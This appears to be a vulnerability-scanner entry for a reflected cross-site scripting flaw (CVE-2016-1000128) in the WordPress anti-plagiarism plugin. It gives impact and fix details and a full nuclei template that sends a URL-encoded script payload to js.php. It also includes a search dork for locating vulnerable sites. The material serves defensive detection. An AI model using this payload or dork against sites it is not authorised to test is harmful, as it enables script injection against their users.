WordPress anti-plagiarism <=3.60 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor.

How to confirm it

Send: GET /wp-content/plugins/anti-plagiarism/readme.txt
Positive when: contains "anti plagiarism" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000128 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000128

info:
  name: WordPress anti-plagiarism <=3.60 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=161
    - https://wordpress.org/plugins/anti-plagiarism
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000128
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000128
    cwe-id: CWE-79
    epss-score: 0.04195
    epss-percentile: 0.91026
    cpe: cpe:2.3:a:anti-plagiarism_project:anti-plagiarism:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "anti-plagiarism_project"
    product: "anti-plagiarism"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/anti-plagiarism\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,anti-plagiarism_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'anti plagiarism'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from